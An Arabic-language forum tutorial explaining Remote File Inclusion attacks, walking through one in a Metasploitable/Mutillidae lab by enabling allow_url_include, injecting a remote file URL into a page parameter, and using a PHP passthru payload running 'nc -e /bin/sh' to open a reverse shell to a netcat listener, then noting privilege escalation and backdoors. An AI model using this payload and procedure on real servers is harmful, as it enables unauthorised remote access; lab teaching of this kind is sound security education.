• بواسطة x32x01 ||
هجمة RFI(Remote File Inclusion) والتي تعد النوع الثاني من هجمات الـFile inclusion، وكما وضحنا في شرح هجمة LFI طريقة عمل ومسببات هذه الثغرة، نبدأ الآن شرح هجمة الـRF

ما الفرق بين الثغرتين؟
الفرق بين الهجمتين واضح بمجرد فهم الإسم، فـLFI تعني Local File Inclusion بمعنى أنها محلية وينفذ فيها كل شي عن طريق السيرفر نفسه وداخله، بعكس RFI والتي تشير إلى Remote File Inclusion نلاحظ كلمة Remote وتدل الكلمة على أن ماسيتم فعله هو شيء خارج السيرفر.

تنفيذ هجمة RFI
لتنفيذ الهجمة عليك تجهيز التالي:
-web server والموجود في أنظمة اللينكس كما تعودنا استخدامه.
-سيرفر مستهدف، سنستخدم metasploitable في الشرح.
-ملف txt يحتوي على كود PHP أو javascript خبيث ينفذ ماتريد تنفيذه.
-إعداد السيرفر لكي تصبح فيه الثغرة.(سنشرحها في الخطوات الآن)

*لتهيئة وإعداد السيرفر لكي يصبح معرضاً للهجمة قم بالدخول إلى السيرفر من نفس الـVirtual Machine، ثم اذهب إلى المسار التالي: etc/php5/cgi

ثم أدخل الأمر التالي للتتعديل على الملف:
Code:
nano php.ini
ثم اضغط ctrl+w للبحث عن كلمة allow_url وسينقلنا إلى هذه السطور:
C3wpsEf.png
نقوم بتغيير الإعداد allow_url_include = Off
إلى On

وهنا تكمن المشكلة في ترك هذه الإعداد على On عند أغلب المبرمجين بدون أي حمايات فيصبح السيرفر معرضاً للهجمة.
ثم نضغط ctrl+x للخروج، سيسأل عن ما إذا كنت ترغب بحفظ التغييرات أو لا، نجيب بـY ثم enter مرة أخرى ونخرج من الملف.

بعد ذلك نعيد تشغيل سيرفر الأباتشي عن طريق الأمر:
Code:
sudo etc/init.d/apache2 restart
وننتظر إلى أن ينتهى من إعادة التشغيل.

نبدأ الهجمة:
أولاً نقوم بالدخول إلى أحد تطبيقات الـmetasploitable المتاحة، سأستخدم mutilidae أثناء الشرح.
ثم ندخل إلى الصفحة المعرضة لهجمات الـFile Include.
سيكون الرابط كالتالي:
Code:
 http://192.168.1.126/mutillidae/index.php?page=text-file-viewer.php
وبعكس ما شرحنا في موضوع ثغرة الـLFI، سنقوم هنا بمناداة الملف الخبيث من سيرفر آخر، ويتم ذلك بالطريقة التالية:
يكون الملف جاهزاً في السيرفر الآخر بشرط أن يكون كود خبيث ويحفظ بصيغة .txt وليس .php أو غيره لكي لا يتم تنفيذه في السيرفر المهاجم ويمكنك تجربة ذلك أثناء تطبيقك للهجمة.
نقوم بتغيير اسم الملف من
Code:
text-file-viewer.php
إلى
Code:
http://ip:PORT/filename
في حالتي سيبدو الرابط المحقون كالتالي:
Code:
 http://192.168.1.113:8000/Desktop/shell.txt
لكن قبل أن نقوم بأي شيء سنقوم باستعراض الكود الذي سنحقنه لنفهم ما سيحدث بالتحديد
2hVdFHI.png
هذا هو الكود المستخدم:
Code:
<?
 passthru("nc -e /bin/sh IP PORT")
?>
استخدمنا الخاصية passthru وهي خاصية متوفرة في لغة php وتقوم بتنفيذ أوامر النظام اعتماداً على نوعه سواءً كان ويندوز أو لينكس أو غيره، ثم وضعنا داخلها الأمر
Code:
nc -e /bin/sh IP PORT
والذي سيقوم بإرسال اتصال إلى الـIP المحدد عن طريق البورت المحدد في الأمر.
قبل أن نقوم بضغط enter في المتصفح وننفذ الهجمة يجب أن نقوم بفتح listener لنستطيع استقبال الإتصال الذي سيفتح عن طريق السيرفر المستهدف تنفيذاً للكود الخبيث الذي هاجمنا به.

-سنفتح تيرمنال جديد وندخل الأمر:
Code:
nc -lvp PORT
باستخدام رقم البورت المستخدم في الكود الخبيث الذي نفذنا به الهجمة.
نعود للمتصفح الآن وننفذ الهجمة وننتظر وصول الإتصال، عند وصوله نقوم بالتجول في السيرفر وفعل كل مانريد فعله من ترقية للصلاحيات واستعراض معلومات حساسة ورفع backdoors وكل ما نريد فعله سيكون متاحاً أمامنا.
 

المشاركات المتشابهة

الردود
0
المشاهدات
8
الردود
0
المشاهدات
11
الردود
0
المشاهدات
10
الردود
1
المشاهدات
315
الردود
0
المشاهدات
16
الوسوم : الوسوم
remote file inclusion rfi أكتشاف الثغرات أكتشاف ثغرات المواقع ثغرات المواقع ثغرة remote file inclusion
عودة
أعلى